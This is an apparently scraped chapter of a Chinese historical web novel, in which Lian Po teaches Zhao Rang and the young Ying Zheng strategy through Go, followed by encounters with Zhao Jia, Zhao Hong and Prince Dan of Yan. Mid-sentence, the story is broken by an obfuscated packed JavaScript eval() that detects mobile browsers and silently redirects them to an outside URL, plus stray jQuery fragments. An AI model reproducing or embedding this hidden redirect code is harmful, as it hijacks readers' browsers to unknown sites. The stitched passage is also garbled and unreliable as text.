廉颇吃饱喝足,突发奇想:“要不我搬去与你们同住吧?”
赵壤和嬴政异口同声:“不方便。”
婉拒了哈!
家里还有女眷呢!
尤其朱姬貌美,行事……在这时候的人看来也的确不算检点,一不小心就会有闲话,赵壤和嬴政在这方面都格外仔细。
廉颇也反应过来,十分无语:“你们两个小崽子想什么呢,我是说搬去与荀子住,或在村里随便找个房子,你们只要管我吃就行了。”
反正村里不缺空房子,不愁找不到住的地方,实在不行就现造一座,也不是什么难事。
赵胜:“你不忙吗?”
“我现在就是筹备战事,军营和他们家在一个方向,住那边反倒便宜些。”廉颇语气极具诱惑,“你们包我吃喝,我教你们兵法,如何?”
赵壤:“行啊!您什么时候来,我提前列好菜单,每天换着花样给您做。再叫里魁给您挑个好房子,找个标致的老媪做邻居。”
廉颇反而噎住了,伸手去捏赵壤的脸蛋:“你就气我吧!”
他只是开玩笑罢了,赵壤二人与赵胜亲密,而廉颇明面上与赵胜不和,怎么可能搬到村里住?
不过这倒提醒了赵壤,他对赵胜道:“王叔搬到村里去住吧,换换心情,对您的身体有好处。”
廉颇也赞同:“整日闷在邯郸无甚意思,出去走走也好。”
赵胜摇头:“我可不想找个标致老媪做邻居。”
赵壤摸摸下巴,若有所思:“难道您想找个英武老翁?”
赵胜:“……”
他搓搓发痒的手心,跟廉颇达成了共鸣——
想打孩子了!
*
虽说廉颇不能到村里住,但孩子还是得教的,吃完饭休息一会儿,他先要求赵壤和嬴政把方才的残局下完。
赵壤:“……不用了吧?”
廉颇虎目一瞪:“下棋哪有半途而废的道理?”
赵壤只能硬着头皮下完,果不其然输了。
他一脸同情地看向廉颇:你的一世英名,被我毁了!
廉颇倒不生气,只是默默从仆臣手里接过一根荆条——是的,就是他负荆请罪时背的那种。然后就着棋局,一步一步给赵壤和嬴政拆解。
东汉桓谭的《新论》中说“世有围棋之戏,或言是兵法之类也”,唐代官方更是直接将围棋棋谱《棋势》归入兵法类,可见围棋与兵法关联紧密。
廉颇从棋局讲兵法,又延伸到战场上该如何处理,还让二人从棋局的不同节点开始重新对弈,难为他是怎么记住那么多棋子的落子顺序的。
最后他问二人:“懂了吗?”
嬴政:“懂了。”
赵壤看着他隐隐想要抬起的手:“懂了懂了!”
*
出府的路上,赵壤二人又碰到了赵嘉和赵宏。
双方见面,颇有些尴尬。
上一回见面,也是差不多的位置、差不多的场景,赵嘉二人劝赵壤不要不务正业,没想到才短短两三月,赵壤便凭借水车和荞麦种子救了邯郸附近的平民,不仅证明“器”有用,还证明他不止懂器,而是器道双修。
相比之下,赵嘉二人嘴上信誓旦旦,但面对旱灾却无能为力,实在羞惭不已。
四人面面相觑,大眼瞪小眼,还是赵嘉率先打破沉默:“上次邀请小叔祖赴宴,小叔祖因忙未至,嘉深感遗憾。”
赵壤:“……”
更尴尬了有木有。
赵嘉:“小叔祖那时忙的便是水车吗?”
“是啊。”赵壤毫无负担地承认了,一本正经道,“灾情刻不容缓,我一边念书,还要一边研究水车,实在分身乏术,公孙勿怪。”
“自然不会。”不管赵嘉信不信,反正他表现得信了,对赵壤深深一揖,“小叔祖以水车和荞麦救赵国于水火,嘉代王祖父谢过。”
他一向高高在上,头一次如此恭谨郑重,倒把赵壤整得不会了。
伸手将人扶起来,也认真道:“听说是公孙劝王上免除税收,又为被征去修粮道的灾民谋取利益,同样功不可没,不用谢我。”
二人相视一笑。
赵嘉问:“不知小叔祖近日可得空相聚?”
赵壤含笑回答:“最近附近村里都在装水车,时不时有人寻我帮忙,不方便时常出来,辜负公孙好意了。公孙若有事,可直接派人告诉我。”
相视一笑然后化敌为友、亲密无间是不可能的,赵壤的确对赵嘉有所改观,但他们二人不对脾气,合作可以,当朋友还是算了。
赵嘉有些失望,但也没有强求。
赵宏一直沉默地听着,这时候才开口:“以后来邯郸,常去家里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16903487|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走走,阿父阿母都惦记你呢。”
赵壤诧异地看他一眼,敷衍道:“行,有空我会回去的。”
大概率没空。
赵壤和嬴政冲二人作揖,告退离开了。
离了这二人,赵壤装出来的严肃正经立马消失,苦恼地皱起小眉毛:“阿兄,方才廉将军说‘势者,因利而制权’,我明白是说不要计较一城一子的得失,甚至可以主动放弃几个无关紧要的棋子,以向外获取更大的优势。但我不明白,他为什么要弃掉边路那枚棋子?”
嬴政:“你不是听懂了吗?”
赵壤一脸哀怨:“他拿着荆条问我,我哪敢说不懂?”
嬴政:“……”
他无语片刻,开始为赵壤解释。赵壤再提出不解之处,他也会耐心解答,直到听懂为止。
“阿兄,你真是世上最好的阿兄!”赵壤开始吹彩虹屁。
嬴政:“……”
不远处将二人动静听得清清楚楚的赵宏脸色不太好看,对赵嘉抱怨:“他对我这个正儿八经的阿兄倒没那么亲!”
赵嘉:“……赵政也是小叔祖正儿八经的兄长,再说当初不是你不愿意与他相交的吗?”
赵宏:“………”
*
赵壤和嬴政并不知道二人说了什么,讲了一路兵法,赵壤回到家时已经头晕脑胀,但一进家门就清醒了。
只因他看到了一个熟人。
——姬丹。
是的,就是“荆轲刺秦”的主谋,燕太子丹。原来他幼时曾在赵国为质,且和嬴政有交情。
姬丹虽然是质子,但和嬴政的处境截然不同。
他是以燕国太子的身份,正儿八经被送来赵国为质,而嬴政只是秦国质子留下的儿子,说句难听的,秦国那边是否认可他的身份都不一定,连个质子也算不上。
且秦国是赵国的仇人,而燕国却是可以争取的潜在盟友。姬丹来时还带了金银和得力的仆从,上下打点,日子过得相当不错,在赵国贵族中也有几分脸面。
所以遇到惨遭霸凌的嬴政时,他出手帮过几回,也因此和嬴政结下了情谊。
不过随着赵壤地位提升,嬴政也水涨船高,不再需要姬丹保护,有时候还可以反过来庇护姬丹。为此姬丹不痛快了很久,一度不再与嬴政往来,见到了也客套疏离,一副要绝交的架势。
赵壤一度以为姬丹会是下一个赵宏,但二人终究不同。赵宏疏远赵壤,是因为自觉利益受到侵犯,而姬丹与嬴政没有利益之争,只是从前站在高位俯视嬴政,地位颠倒后下不来台而已。
赵壤和嬴政唱念做打地哄了一阵子,他也就没事了,如今三人算是不错的朋友。
姬丹常居邯郸,突然在村里出现,赵壤自然惊喜:“鸡蛋,你什么时候来的?”
姬丹:“……”